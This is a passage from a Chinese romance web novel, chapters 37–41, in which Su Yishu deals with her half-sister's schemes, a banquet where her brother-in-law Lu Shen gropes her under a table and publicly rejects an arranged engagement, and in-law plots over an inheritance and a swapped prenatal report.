“苏亦姝现在不就是仗着陆慎撑腰吗?我都打听清楚了,赵家那个小公主回国了,听说,那个赵西双非常喜欢陆慎。只要咱们把苏亦姝跟陆慎那点丑事做实了,捅到赵家小公主面前,自会有人收拾苏亦姝,到时候,你觉得陆慎还会为了一个名声扫地的寡嫂,去得罪赵家?”
刘芹顿了顿,嘿嘿一笑。
“还有,你手里不是有当初陆钦那份文件的原件吗?别直接给陆域,那没用。咱们得换个法子,让苏亦姝自己往坑里跳……”
苏可人听着刘芹的话,眼神渐渐变得阴狠而毒辣。
苏氏股票跌停的消息在圈内传开后。
下午,苏亦姝正准备离开分公司,却在楼下大厅撞见了苏可人。
没有往日的浓妆艳抹和冷嘲热讽,苏可人穿着一件洗得有些发白的宽大孕妇裙,手里提着一个保温桶,就那样孤零零地站在休息区,显得格外单薄无助。
“你来做什么?”苏亦姝眉头微皱,直觉告诉她,这不正常。
苏可人一看到苏亦姝,原本平静的脸上瞬间浮现出一种混杂着恐惧与讨好的局促感。
她快步走上前,却在靠近苏亦姝三步远的地方硬生生停住,卑微地低下头,声音细若蚊蝇。
“
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姐姐……我听说爸爸的事了。我不是来吵架的,我只是……我熬了点汤,给你送过来。我知道因为公司的事情你一直都在忙着,而我……却什么都做不了,也不如姐姐你……所以,只能做一些我力所能及的事情。”说着,把手中的保温桶提了提。
周围正值下班高峰,不少员工纷纷侧目。
“苏可人,收起你那套戏码。”苏亦姝冷冷越过她。
“姐姐!”苏可人突然“噗通”一声跪了下来,保温桶翻倒在地,浓郁的汤汁溅了一地,也溅了她满身。
她死死抓着苏亦姝的裙摆,哭得泣不成声。
“我求求你,只要你能帮帮爸爸,让我做什么都行,哪怕让我这辈子不进陆家的门,我也可以签字……别再针对苏家了,好吗?”
周围的议论声渐渐大了起来,甚至有人偷偷拿起了手机。
苏亦姝低头,看着苏可人那张写满了“楚楚可怜”的脸,心中警铃大作。
只是片刻,苏亦姝笑了。
她站在那,俯视着苏可人,姿态傲然。
“苏可人,当年你妈妈只是我苏家的保姆,为了上位给我爸爸下药怀上了你。现在,你重复你妈妈的路,为了进陆家,爬上了我丈夫陆钦的床,现在又拿出这幅姿态来恶心我,”
“还有,我是陆家明媒正娶的媳妇,也是陆家老爷子认定的孙媳妇。而你,算什么??跑这里来是为了恶心我?是觉得我苏亦姝好说话?又或者是觉得,你自己营造的人设很好?”
苏亦姝的话清晰有力,虽然不大,但周围的人几乎都能听到。
一瞬间,周围的人纷纷议论起来。
“原来是有其母必有其女啊。”
“啧,我还以为真像她表现的那么可怜呢?原来是白莲花人设啊。”
“爬床这一套,原来也是能遗传啊。”
周围人的声音传入苏可人的耳里,她脸上青一块白一块。
这跟她预想的怎么不一样?
很快,这一幕视频便被传到网上去了。
苏亦姝看到视频的时候,只是冷冷一笑。苏可人开始走卑微路线了,既然她想走,那就让她跪着走到底!
第三十七章 非常般配
办公室内,苏亦姝看着手机里那段点击量疯涨的视频,嘴角嗪着冷笑。
苏可人确实聪明了,懂得利用“弱者效应”来****。
只可惜,她低估了苏亦姝撕开这张画皮的决心。
“苏总,视频的热度被咱们的人引导后,风向已经变了。现在全网都在扒苏可人母亲当年的‘保姆上位史’,连带着她肚子里那个孩子的合法性都被质疑了。”
海绵在一旁小声汇报。
苏亦姝冷淡地应了一声。
“她既然想跪,就让她跪着把这出戏演完。她背后肯定还有人出主意,盯着她的账户,看最近谁跟她接触频繁。”
“是。”
入夜,医院。
苏可人靠在病床上,看着评论区那些刺眼的“私生女”、“爬床遗传”等字眼,气得浑身发抖。
她精心布置的局,竟然被苏亦姝三言两语就破了。
“蠢货!我教你示弱,没让你去送人头!”
刘芹推门进来,脸色难看至极。
“你居然让她在大庭广众之下把当年的老底都掀了!”
苏可人咬牙切齿,“我怎么知道她现在变得这么牙尖嘴利!妈,现在怎么办?程丽梅看到这些,更不会让我进门了。”
刘芹阴冷一笑,从包里翻出一张烫金的私人晚宴邀请函。
“别急,这才是重头戏。明晚赵家为赵西双办的接风宴,陆家人都会去。苏亦姝现在虽然名声保住了,但她和陆慎的关系可是程丽梅的心头刺。只要明晚让赵西双亲眼看到陆慎为了苏亦姝失态……赵家那个心高气傲的小公主,自然会替我们除掉她。”
“妈,你怎么搞来这些东西的?”苏可人有些惊讶。
她妈妈当年要是有这手段,早就拿下苏家夫人的位置了。
刘芹只是淡定一笑,并未解释。
苏可人接过邀请函,眼底闪过一丝疯狂的孤注一掷。
次日,赵家公馆。
作为江城老牌豪门,赵家的这场接风宴办得极尽奢华。
苏亦姝跟在程丽梅身后步入大厅。
尽管程丽梅再怎么看不顺眼这个大儿媳,但在这种名流云集的场合,陆家的体面必须维持。
“把腰挺直了,别一副受气包的样子,丢了陆家的脸。”
程丽梅压低声音,冷冷地警告了一句。
“是,妈。”
苏亦姝神色淡淡,应了一声。
她今日穿了一袭月白色的素面旗袍,没有繁复的刺绣,只在领口和袖口滚了一圈细致的珍珠边。
长发低挽,只插了一根通透的玉簪。
在这满场争奇斗艳的礼服中,她素净得像是一捧雪,低调至极,却又因那清冷出尘的气质,反而吸引了无数若有似无的打量目光。
在二楼的VIP回廊上,陆慎正倚着栏杆,指尖晃动着高脚杯。
“啧,嫂子今天这身,真绝了。明明裹得严严实实,怎么就看着这么……勾人呢?”
陈淮趴在栏杆上,忍不住吹了声口哨。
话音刚落,他就感觉周围气压骤降。
侧头一看,陆慎那双狭长的眸子正死死锁在那道月白色的身影上,眼底翻涌着令人心惊的占有欲和暗火。
顾从之推了推眼镜,抿了一口酒。
“收收你的眼神,赵西双出来了。”
大厅中央,灯光聚拢。
赵西双身着一袭正红色露背高定礼服,像一朵热烈绽放的红玫瑰,高调登场。
她脸上洋溢着自信明媚的笑容,视线在场内扫视一圈后,精准地锁定了二楼的陆慎,提起裙摆便快步走了上去。
“阿慎!”
她这一声喊得亲昵又自然,毫无顾忌地来到陆慎面前,仰头看着他,眼底的爱意几乎要溢出来。
“我就知道你会来。怎么样,我今天漂亮吗?”
楼下的程丽梅看到这一幕,原本紧绷的嘴角终于露出了满意的笑容。
她转头看向苏亦姝,语气里带着几分敲打和得意。
“看到了吗?西双这孩子,家世好,样貌好,对阿慎也是一心一意。赵陆两家联姻,那是板上钉钉的事。亦姝,你是个聪明人,该守的本分要守好,别动不该动的心思。”
苏亦姝垂在身侧的手微微收紧,随即松开。
她抬眸,目光透过人群,看向二楼那对看似璧人的身影。
陆慎高大冷峻,赵西双
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娇艳明媚,确实……很般配。
心脏深处像是被针扎了一下,有些细密的疼,但她很快将这种异样的情绪强行剥离。
苏亦姝收回目光,嘴角勾起一抹得体的浅笑,声音平静无波。“妈说得是。赵小姐和陆慎郎才女貌,门当户对,确实是天作之合。我也希望能早日喝到他们的喜酒,毕竟陆家也许久没有办喜事了。”
程丽梅盯着她的眼睛看了几秒,见她眼底一片清明,似乎真的没有半点嫉妒和不甘,这才彻底放下了心。
“你能这么想就好。走吧,我们过去打个招呼。”
二楼。
赵西双正兴致勃勃地跟陆慎说着国外的趣事,却发现陆慎一直心不在焉,视线频频越过她投向楼下。
她顺着陆慎的目光看去,正好看到正拾级而上的程丽梅和苏亦姝。
“那是程伯母和……亦姝姐吧?”
赵西双眼睛一亮,并没有察觉到陆慎眼底的晦暗,反而以为他是在看母亲。
“阿慎,我们去打个招呼吧。我听说亦姝姐嫁进陆家过得不容易,以后大家都是一家人,我也想跟她多亲近亲近。”
她对苏亦姝没什么印象,前几年也就见过一面。后面,听说嫁给了陆钦,当时婚礼她没回来。
后面,知道陆钦去世了,心里更多的是同情。
既然自己要嫁给陆慎,搞好妯娌关系也是必要的。
陆慎没说话,只是在听到“一家人”三个字时,嘴角勾起一抹极尽嘲讽的弧度,迈开长腿迎了上去。
“程伯母!”
赵西双挽着陆慎的胳膊,笑盈盈地走过来,随后看向苏亦姝,友好地伸出手。
“亦姝姐,好久不见,你今天真美,这身旗袍太适合你了。”
“赵小姐谬赞了。你今天才是全场的主角,光彩照人。”
苏亦姝不卑不亢地回握了一下,姿态端正。
程丽梅笑着在一旁搭腔。
“是啊,西双和阿慎站在一起,怎么看怎么顺眼。刚才亦姝还跟我说呢,说你们俩般配得很,简直是天造地设的一对。”
陆慎原本淡漠的神情,在听到这句话的瞬间,骤然阴沉了下来。
第三十八章 偷?暗度陈仓
陆慎缓缓转头,目光犀利地刺向苏亦姝,声音低哑危险。
“哦?大嫂也是这么觉得的?”
苏亦姝只觉得后背一凉,但在这大庭广众之下,她只能硬着头皮维持笑容。
“是,小叔子和赵小姐感情深厚,自然是般配的。”
“呵。”陆慎发出一声意味不明的冷笑。
赵西双却很高兴,松开陆慎的手,亲**拉住苏亦姝。
“亦姝姐,那边有休息区,我们去坐坐吧,我好久没回国了,好多事想请教你呢。”
苏亦姝推脱不掉,被赵西双拉到了半开放式的休息区沙发上坐下。
这是一个U型的卡座。
赵西双为了表示亲近,拉着苏亦姝坐在了中间,而陆慎则顺势坐在了苏亦姝的身侧,程丽梅因为遇到了熟人,暂时留在了大厅。
逼仄的空间里,陆慎身上那股强烈的侵略气息瞬间包裹了苏亦姝。
“亦姝姐,你看这个戒指怎么样?阿慎说让我自己挑订婚戒指,我都有点挑花眼了。”
赵西双拿出手机,翻看着珠宝图片,毫无心机地问道。
苏亦姝尽量往角落里缩了缩,试图拉开与陆慎的距离,微笑着回应。
“这一款设计很别致,很衬你的手型……”
然而,话音未落,她浑身猛地一僵。
一只滚烫的大手,借着宽大沙发和身前茶几的遮挡,贴上了她的肌肤
苏亦姝瞳孔骤缩,差点惊呼出声,却在最后关头死死咬住了嘴唇。
她惊恐地转头看向身侧的男人。
陆慎一只手端着酒杯,正慵懒地靠在沙发背上,甚至还微微侧头,神色自若地听着赵西双说话,那张冷峻的脸上看不出丝毫端倪。
可桌布掩盖下的那只手,却放肆地在她大腿上游走。
“亦姝姐?你怎么了?脸色不太好?”
赵西双察觉到苏亦姝的异样,关切地问道。
苏亦姝放在膝盖上的双手死死攥紧,指甲几乎掐进肉里。
苏亦姝的声音带着一丝不易察觉的颤抖,“没……没什么……可能是……有点闷。”
赵西双有些疑惑,“闷吗?那要不要喝点冷饮?”
“不用。”
陆慎突然开口,声音低沉磁性,他侧过身,另一只手极其自然地搭在苏亦姝身后的沙发背上,形成了一个半包围的姿态。
陆慎凑近她耳边,用只有两人能听到的声音,恶劣地低语。
“这是怎么了?抖得这么厉害?刚才不是挺能说的吗?般配?天造地设?嗯?”
随着那个尾音上扬。
苏亦姝红着眼眶,从齿缝里挤出这几个字,眼神里满是哀求。
“陆慎,放开……”
陆慎面不改色,另一只手甚至还能微笑着举杯示意路过的宾客,仿佛他真的只是在跟自家大嫂闲话家常。
“求我。说你不希望我跟她订婚,说你嫉妒,我就放过你。”
“亦姝姐,你的脸好红啊,真的没事吗?”
赵西双越看越觉得不对劲,甚至想要起身过来查看。
“别动!”苏亦姝吓得低喝一声。
赵西双愣住了。
苏亦姝意识到自己失态,连忙深吸一口气,颤抖着声音解释。
“我……我就是有点胃疼,老、毛病了……缓一缓就好。”
“胃疼啊,那我让人去给你倒杯热水。”赵西双说着就要起身。
“不用麻烦。”
陆慎淡淡开口,制止了赵西双的动作。
而他在桌底下的手,终于惩罚够了似的,缓缓离开,却又在离开前,拇指重重地摩擦了下她的皮肤。
苏亦姝整个人暗自呼出一口气,后背早已被冷汗浸透。
陆慎把手中的酒杯放在一边,缓缓站起身来。目光深沉中夹杂着苏亦姝看懂的暴戾和占有欲。
“大嫂既然身体不适,那作为弟弟,理应送你回去休息。西双,失陪一下。”
说着,不顾苏亦姝的抗拒,他直接握住她的手腕,
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将她从沙发上强行拉起。
陆慎的脸色并不太好,握着苏亦姝手腕的力道大得惊人。
苏亦姝疼得脸色发白,但此时心中的那股反叛与怒火也彻底压不住了。
她深吸一口气,猛地一用力,竟生生甩开了陆慎的手。
在陆慎暴戾的目光中,苏亦姝非但没有后退,反而换上一副温婉大方的笑脸,款款走到僵在原地的赵西双面前。
“赵小姐,我小叔子这人性子急,怕是心疼你在这儿陪着我这个病人无聊,才想着找借口带我走。”
苏亦姝亲昵地拉起赵西双的手,指尖甚至还带着未褪去的颤栗,却被她掩饰得极好。
她拉着赵西双,将其手腕轻轻交叠在陆慎垂下的掌心里,笑容明媚得有些刺眼。
“你们久别重逢,最是该独处的时候。我就不去当这个电灯泡了,正好我得去妈那边看看,免得她老人家找不到我该着急了。”
赵西双原本被刚才陆慎那副阎王样吓到了,现在听苏亦姝这么一解释,心里顿时甜滋滋的。
她顺势反握住陆慎温热的手掌,有些羞涩地看向苏亦姝。
“还是亦姝姐想得周到,那你快去休息,千万别强撑着。”
“好。”
苏亦姝得体地点点头,转身的瞬间,脸上的笑意尽数消失。
她走得极快,背影决绝,甚至不敢回头去看那道快要将她后背灼穿的视线。
陆慎站在原地,掌心处赵西双那温软的手感只让他觉得无比滑稽和愤怒。
他眼睁睁看着苏亦姝没入人群,看着她像逃离瘟疫一样逃离自己,心底那股被推开的躁郁彻底失控。
“阿慎,你怎么了?手怎么这么烫?”赵西双关切地凑过来。
“放开。”陆慎冷冷吐出两个字,声音虽然不大,却透着彻骨的寒意。
赵西双一愣,还没反应过来,陆慎已经面无表情地抽出了手。
他没有在大厅停留,而是大步朝侧门走去。
第三十九章 挑拨离间
陆慎从侧门离开后,顺着苏亦姝离开的方向慢悠悠地走着。
休息室、花园、长廊,陆慎找遍了半个公馆,也没看到苏亦姝的身影。
“苏亦姝人呢?”他随手拦住一个正要进场的陆家保镖,嗓音沙哑得可怕。
保镖吓了一跳,结结巴巴道:“陆……陆总,少夫人半刻钟前就跟太太打过招呼,说是胃疼难忍,已经坐车回去了。”
“该死!”陆慎低咒一声,一脚踹在旁边的石柱上。
那个女人,竟然跑得这么快!刚才在沙发上还那副任人采撷的模样,一转头就能把他推给别的女人,甚至还大方地祝他们“般配”?
谁给她的胆子!
陆慎转过身,杀气腾腾地往外走,却在经过宴会厅中庭时,被赵西双带着几个豪门名媛截住了。
“阿慎!你要去哪儿?我爸正要找你谈南城那个项目……”
赵西双见他要走,急忙上前拦住。周围已经有不少宾客看了过来,甚至连程丽梅也听到了动静,正端着酒杯满怀期待地望向这边。
赵西双自恃身份,也仗着陆家老爷子的偏爱,娇嗔道:“今晚你是我的男伴,你就这么走了,让我怎么跟长辈们交代?咱们的婚事……”
“婚事?”陆慎停下脚步,冷笑一声。
他转过头,凌厉的目光扫过赵西双那张不可置信的脸,又越过人群,隔空看向正满面笑容的程丽梅。
“赵西双,你听好了。”
陆慎的声音不大,却由于此刻众人的关注而显得格外清晰,像是平地惊雷,震得整场宴会死一般的寂静。
“我陆慎,从来没答应过要娶你。这婚,你爱跟谁订跟谁订,陆家想联姻,大可以随便找,但别带上我。”
“阿慎!你在胡说什么!”程丽梅吓得杯子都掉在了地上,尖叫着跑过来。
陆慎没有理会任何人的阻拦,甚至连赵西双瞬间落下的眼泪都视若无睹。
他径直拽开公馆的大门,驱车轰鸣而去,只留下一众惊愕得面面相觑的宾客。
公寓楼下。
苏亦姝刚跌跌撞撞地进屋,反手锁上门,整个人无力地靠在门板上喘息。
旗袍底下的肌肤似乎还残留着男人指尖的余温,那种被侵犯、被羞辱却又无法抗拒的战栗感让她几乎崩溃。
她刚缓过一口气,还没来得及去浴室洗掉那一身黏腻,门外就传来了砸门声。
“苏亦姝,开门!”
陆慎暴怒的声音穿过门板,带着难掩的怒火。
苏亦姝心跳骤然漏了一拍,她靠在玄关的墙上,低声咒骂了一句:“疯子!”
外面砸门声还在继续,苏亦姝直接转身往卧室走去。
只要她不开门,陆慎就算是砸烂了手也没用!
这个时候,她并不想跟他有任何过多的接触,赵西双回来了,不管是程丽梅还是陆家任何一个人,都希望陆慎跟赵西双能够结婚。
她自然不能在这个时候触霉头,她还有很多事没做完。
另一边,赵西双被陆慎当众拒绝后,颜面尽失,直接哭着跑开了。
赵家老爷子也是非常生气,宴会上其他人也陆陆续续离开了。
“赵小姐,与其在这里独自伤心,不如看看是谁蒙蔽了陆总的眼……”
突兀的声音,让赵西双猛地回头。
苏可人站在赵西双身后,她也是找了好久,才找到赵西双在二楼的这个阳光房。
“你是谁?”赵西双语气不善。虽然心里难受和愤怒,但从小就受过良好的教育和熏陶,自然不会轻信人。
苏可人笑了下,摸了摸肚子。“我?我是陆钦最爱的人,我的肚子里怀着他的孩子,我也是苏亦姝同父异母的妹妹。”
赵西双愣了下。对于陆钦的事情,她自然是听家里人说起过。
“原来你就是那个爬床的……”赵西双冷嗤一声,有些鄙夷。
要知道,他们这些身份的人,自是瞧不上这样的人。
苏可人心里一噎,但还是压下心底的怒意。
“是不是爬床,自有定论
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。我只是身份不如苏亦姝罢了,若是我能选出身,我自然也不会顶着个私生女的名头。再说了,我能怀上陆钦的孩子,足以证明,陆钦对我的爱……”
苏可人深吸一口气,继续说道:“我来这里,并不是说这些的,身份固然有别。赵小姐,我来是想提醒你,别被苏亦姝那副清高的样子骗了……”
“你什么意思?你想上位那是你的事情,要是妄想踩着我上去,真当我赵西双好说话?”赵西双冷哼一声。
苏可人并不在意她的话,而是笑着说道:“我还没那么蠢。再说了,我爱的人是陆钦,跟赵小姐,不冲突。但是苏亦姝,就不一样了,陆总被她迷得已经晕头转向了,甚至不惜跟他母亲杠上了。这件事也不是什么秘密,稍微一打听,赵小姐就知道了。”
“你的意思,陆慎喜欢苏亦姝?”赵西双眉头紧锁。
“并不是陆总喜欢,是苏亦姝勾引陆总。阿姨说我怀了阿钦的孩子,阿钦的遗产都给我和孩子,苏亦姝不甘心,为了得到阿钦的遗产,勾引陆总帮她。”苏可人说的咬牙切齿。
赵西双冷冷地盯着苏可人。她虽然心高气傲,但并不傻。
“争夺遗产?谁知道你肚子里是不是陆钦的孩子?再说了,苏亦姝本就是陆钦明媒正娶的太太,你,又算什么?”
赵西双冷眼瞧着,目光冷冽,继续说道:“苏可人,你算计你的遗产,那是你的事。想拿我当枪使?你还嫩了点。来人,把这个不知廉耻的女人给我拖出去!”
“赵小姐,你……你怎么就这么糊涂。别到时候,陆总被苏亦姝给勾走了,你什么都没落着……”
赵西双在苏可人被拖走了之后,双眼阴沉下来。
苏亦姝?你最好给我安安分分,若是真让我发现你跟陆慎之间不清不楚,我定要你死的很难看!
谨记着,赵西双立即找来人,对这段时间苏亦姝的动向着重调查。
不管苏可人说的是不是真的,她都要查的清清楚楚。
第四十章 唇枪舌战,互相试探
第二天,苏亦姝正在公司忙碌着,海绵就进来了。
“苏总,有一位姓赵的小姐,说找你。”
听到这话,苏亦姝握笔的手一顿。
眼底闪过几分疑惑,继而看向海绵。
“请进来吧。”
没多久,赵西双跟着海绵进来了。
一进来,苏亦姝立即从办公桌抬起头,看过去。
今日的赵西双,依旧是一身高奢打扮,配上那精致的妆容,非常惹眼。
苏亦姝在打量赵西双,赵西双同样在打量苏亦姝。
她承认,苏亦姝很美,昨天的旗袍很美,今日一身职业装,别有一番美感。
“赵小姐怎么来我这里了?”苏亦姝脸上挂着浅笑。
赵西双笑着说道:“刚好在这边处理一些事情,听说亦姝姐的公司在这边,就过来看看。”
“赵小姐喝点什么?”
“绿茶。”
苏亦姝眼眸一动,看向海绵,海绵立即意会走出去。
赵西双打量着办公室,没有太大,但是看起来还不错。
“我可是听说了,亦姝姐短短两个月,就把苏氏的分公司起死回生了,真让人佩服。”这句话,半真半假。当时,赵西双拿到苏亦姝的资料时,确实对苏亦姝的能力惊讶了下。
也很欣赏苏亦姝的做事风格。当然,前提是跟自己没有任何利益冲突。
“起死回生谈不上,只是刚好遇到了好的机遇。”苏亦姝算是看出来了,这位赵小姐来这里,可不仅仅只是来看看。看来,是听到了一些闲言闲语,或者是查到了什么。
这个时候,海绵端着两杯绿茶进来,放在桌子上,这才退出去。
“亦姝姐你就把别谦虚了。我自是最佩服女强人了,打小就听到不少人谈论男人在事业上如何,女人在内宅如何?这些,我都瞧不上的,我们女孩子怎么了??女孩子照样能打天下。”
苏亦姝看着赵西双,对于她的这番说辞,很是赞同。
“原来,赵小姐是同道中人啊。”
赵西双看着苏亦姝,虽然不是很了解,但是短短几句交谈,她对苏亦姝是真的喜欢。
可若真牵上陆慎……
“对了亦姝姐,我回国的时候就听到你父亲……抱歉,我可能有些唐突了。”
苏亦姝不在意笑笑。“没事,这也不是什么不能说的事情。我父亲被洪天城诳了,只能怨他贪心不足。毕竟,天上掉馅饼的事情,=三岁小孩都知道不靠谱。”
赵西双点点头。“这倒是,只是这样一来,那你这身上担子就重了……要是有什么事情,你可以直接找阿慎……阿钦哥不在了,他理应照顾你这个大嫂的。”
苏亦姝明白了,原来目的在此。
苏亦姝摇摇头。“这点事情,我还是能解决的。陆慎虽然是我小叔子,但是他的身份你也知道,大忙人。再一个,我虽然是大嫂,但还是要避讳的。”
苏亦姝神色坦荡,没有半点扭捏。
这让赵西双愣了下。
苏亦姝继续说道:“嫁进陆家,虽然阿钦不在了,但也承蒙陆家众人照顾。我也不瞒赵小姐,我现在就想着好好管理苏氏。可能你也听说了,我还有个同父异母的妹妹,我的母亲,就是因为这件事,成了植物人……”
赵西双一愣,这件事,她还真不知道,资料里也没说……
“对我父亲,我是有怨言的。原本一个和睦的家庭,就这么……”说着,苏亦姝自嘲一笑。“不过,我也是看开了。我也跟爷爷说了,等苏氏这边稳了,到时候,我会脱离陆家。毕竟,阿钦不在了……我在陆家的身份,有些尴尬。”
“可是,你若是离开陆家,那对你的影响,岂不是更大?陆家家大业大,正所谓背靠大树好乘凉。”赵西双皱眉。
苏亦姝摇摇头。“话虽如此,但我还年轻,我的人生不应该只是这样……赵小姐看起来也不像是安于深宅之人。”
“嗯,深宅不适合我……我更希望,能跟阿慎并肩。”赵西双直言不讳。
苏亦姝眼眸一动,笑着说道:“可以的。你们门当户对,郎才女貌,再说了,赵小姐的能力,我也是听说了,你们站在一起,自然能并肩。”
苏亦姝在说“并肩”两个字时,语气极淡,透着一种置身事外的坦荡。
赵西双盯着她的眼睛看了许久。那双眸子如深潭一般平静,没有她预想中的闪躲、嫉妒或是心虚。
这让赵西双有些挫败。
她昨晚彻夜未眠,满脑子都是苏可人说的那些话,以及陆慎在宴会上当众拒婚。
可现在,苏亦姝却告诉她,她想脱离陆家。
赵西双抿了一口绿茶,苦涩的味道在舌尖散开。
“亦姝姐,你真的舍得?陆家少夫人这个头衔,江城多少女人梦寐以求。离了陆家,苏氏分公司这块肥肉,分分钟会被那些饿狼撕碎。”
苏亦姝身体微微后仰,职
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业装衬得她肩线笔直,透着一股不让须眉的韧劲。
“肉是死的人是活的。赵小姐这种留过学的人,应该最清楚,靠大树乘凉固然快活,但如果大树倒了,或者大树挪了位置,乘凉的人只会被晒死。我还是喜欢,自己给自己撑把伞。”
赵西双握着杯子的手紧了紧,随即笑得灿烂。
“好一个自己撑伞。我原本以为亦姝姐是个需要依附男人活着的菟丝花,看来是我狭隘了。”
两人又闲聊了几句,大多是关于行业动向。
赵西双惊讶地发现,苏亦姝对南城那个旧城改造项目的见解极其毒辣,甚至比赵家那几个高薪聘请的顾问还要一针见血。
这种棋逢对手的感觉,让赵西双心底的天平开始剧烈摇晃。
如果苏亦姝说的是真的,她真的对陆慎没心思,那苏可人的话就是挑拨离间;
可如果苏亦姝在演戏……那这个女人的城府,未免太可怕了。
直到赵西双离开,苏亦姝才如释重负地靠在椅背上,掌心早已渗出了一层冷汗。
她知道,赵西双这一关暂时算过了,这位赵小姐高傲且理智,只要自己表现得对陆慎毫无野心,赵西双就不会轻易自降身价来对付她。
“海绵,去查一下,昨晚苏可人是不是也去了赵家宴会?”苏亦姝冷声吩咐。
没多久,海绵便推门而入,脸色有些微妙。
“苏总,查到了。苏可人确实去了,是拿了赵家散出去的普通邀请函混进去的。”
苏亦姝冷笑一声,果然是苏可人。
这白莲花现在的段位倒是长进了,知道自己人轻言微,便想借赵西双的手来除掉她。
只可惜,苏可人忘了,借来的刀,若是握不稳,最先割伤的是自己的手。
“既然她这么不安分,那就再给她找点事做。”
苏亦姝眼底划过一抹厉色。
“她不是一直以‘怀了陆钦唯一的骨肉’自居,以此巴结程丽梅吗?去,把苏可人产检的那家医院内部资料‘不小心’漏给陆域。”
“苏总,您的意思是?”
“陆域那个人虽然草包,但最忌讳别人动他的蛋糕。如果让他知道,苏可人肚子里那个孩子如果真生下来,会分走陆钦名下原本该属于他的那份信托基金……你觉得,他还会让苏可人安安稳稳地待在陆家医院里保胎吗?”
海绵眼睛一亮。
“明白了,我这就去办。”
第四十一章 狸猫换太子
医院。
苏可人握着手机,满脸狰狞。
她原以为赵西双去找苏亦姝,是去警告,或者是羞辱她,谁知道,这两人竟然还相谈甚欢的样子。这叫她无法理解,难不成,这个赵西双对陆慎,也就那么一回事?
不是的,肯定不是的,那到底是怎么回事?
一定是苏亦姝说了什么,肯定是这样的。
想到这,她觉得自己还要再继续加一把火才行,否则,赵西双这么好用的一颗棋子,就白白浪费了。
只是,不等她做什么,却等来了柯沁。
看到柯沁,苏可人有些疑惑。
柯沁是陆家二房的夫人,平日里,她跟柯沁没有任何往来,所以这会儿柯沁出现在这里,一时间搞不清楚她来这的目的。
“二……二婶,您怎么来了??”苏可人本着友好的态度。
柯沁睨了她一眼,冷嗤一声。“谁是你二婶,攀关系攀的这么明目张胆,还真是少见。”
苏可人脸上一阵难堪。
柯沁站在她的房间里环顾了一圈,笑着说道:“说起来,我这大嫂对你还挺大方的,竟然给你住这么好的房间。”
说完,眼睛朝着她肚子看去。“你这肚子,也显怀了吧。怀的是男孩还是女孩?”
苏可人面色一僵,立即说道:“还……还不知道,阿姨说不检查,等着开盲盒.”
“嗤。”柯沁冷笑一声,这话,骗鬼去。依照她那大嫂的德性,估计早就检查出来了。
看大嫂这放任的态度,估计肚子里是个女孩。
想到这,她不忘自己儿子交代的事情。
“我也是来这边体检,顺带过来看看。听说,大嫂为了你肚子里的金孙,把阿钦名下的信托基金给你了?”
“额……好像是的。”苏可人硬着头皮回答着,这件事,其实她并不清楚,若是真的话,那真的是太好了。
柯沁脸色顿时冷下来了。
陆钦名下的信托基金,之前老爷子就说过,准备给阿域他们兄弟几个分掉的。现在,大嫂竟然早早的给了苏可人这个**,这还怎么分?记得当时陆慎说不要的,那阿域会占大头。
可是现在……
越想,心里越气。
但是,柯沁又不能动苏可人。
正好这个时候,医生过来给苏可人做检查。
柯沁立即问道:“医生,她肚子里的孩子怎样了?这可是我们陆家的金孙,可得好好检查啊。”
医生是认识柯沁的,点着头神色严肃。“那是自然的,二夫人还请放心。”
柯沁本来还准备问问肚子里的孩子性别,但是,程丽梅来了。
程丽梅自然知道柯沁在这边,正是因为知道,这才急匆匆过来。
“弟妹怎么来了?”程丽梅手拿着佛串,面色看不出情绪。
柯沁笑着说道:“这不,今儿来这边做检查,想着可人在这边,就过来看看。时间真快啊,她肚子都显怀了。”
程丽梅朝着苏可人肚子看了眼,没说话。
柯沁又说道:“大嫂,这肚子里的孩子,检查性别了吗?”
“没,不重要。只要是阿钦的骨肉就行……”程丽梅说着,看着似乎确实不在意的样子。
柯沁心中冷笑,面上依旧带笑。“那倒是,阿钦不在了,留个骨肉也是好的。我这边还有事,就先走了……”
说着,离开了房间。
在柯沁离开后,程丽梅看向苏可人。
“她来,都说了什么?”
苏可人就把柯沁的话原封不动重复了一遍。
“真是猪脑子!我什么把阿钦的信托基金给你了?”程丽梅怒斥着。
苏可人脸色一变,一脸震惊。
怎么回事?她昨天回医院的时候,还听到陆家的律师说了这事,还说本来找她签字的……
“真是蠢到家了。你以为,柯沁真的是来关心你的?她就是来打探消息的。阿钦的信托基金,老爷子之前随口说过,到时候几个晚辈分了……现在你倒好,说都在你这,这要是传到老宅,老爷子怎么想?”程丽梅真的是气**。
苏可人顿时面色一僵,有种自己上套的感觉。
“那……那该怎么办??”苏可人有些慌了。
程丽梅眼底闪烁着阴森,扫了眼苏可人,最后目光落在她的肚子上。
“该怎么办就怎么办。待会,我会把你的产检报告带回老宅给老爷子,胎儿的性别,也一并给老爷子。”
“性别?查……检查出来了?”苏可人双手紧紧攥着,整个人无比紧张。
程丽梅这是要告诉老爷子,她怀的是女孩?
程丽梅眼神如鹰,落在苏可人身上,带着几分尖锐。
“男孩!”语气笃定的让人不得不相信。
苏可人愣了下……
“你肚子里是男孩!”程丽梅又重复了一遍,语气更加确定。“苏可人,好好养胎,安分守己,否则,你一无所有,甚至,死都不知道**的。”
“我……我知道了。”苏可人低着头,死死揪着床单,手心里全是不安的冷汗。
程丽梅冷哼一声,将那份早已被掉包的产检报告收进包里
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,转过身,踩着凌厉的步子离开了病房。
同一时间,陆家二房。
柯沁一回到家,就把手里的名牌包狠狠摔在沙发上,脸色阴沉得可怕。
“阿域,你没猜错。你大伯母那个老狐狸,果然想独吞陆钦的信托基金。”
柯沁端起佣人送来的燕窝喝了一口,却觉得满嘴苦涩。
“她竟然亲口承认把基金给了那个姓苏的**。看样子,苏可人肚子里那个,八成是个带把的。”
陆域坐在窗边抽着雪茄,烟雾缭绕中,他的眼神显得格外阴鸷。
陆域吐出一口烟圈,声音透着一丝变态的残忍。
“带不带把,生下来才知道。妈,你真以为苏亦姝会眼睁睁看着那笔钱落入苏可人手里?苏亦姝现在的手段,可比咱们想的要硬得多。”
“你的意思是,咱们挑拨苏亦姝去对付苏可人?”
“不!”
陆域掐灭了烟,嘴角勾起一抹玩味的笑。
“苏亦姝现在正忙着苏家的事情。咱们只需要把苏可人那份‘男孩’的产检报告‘不小心’发给赵西双。那位赵小姐心高气傲,她绝不会允许自己还没进门,陆家就多出一个占尽先机的长孙。”
“好主意!”柯沁一脸激动。
陆域神色阴鸷,苏可人那个**,骗他储存卡的事情还没找她算账呢。这笔账,他会一直记着!
程丽梅回到老宅时,大厅里的气氛有些低沉。
陆老爷子坐在主位上,面沉如水。
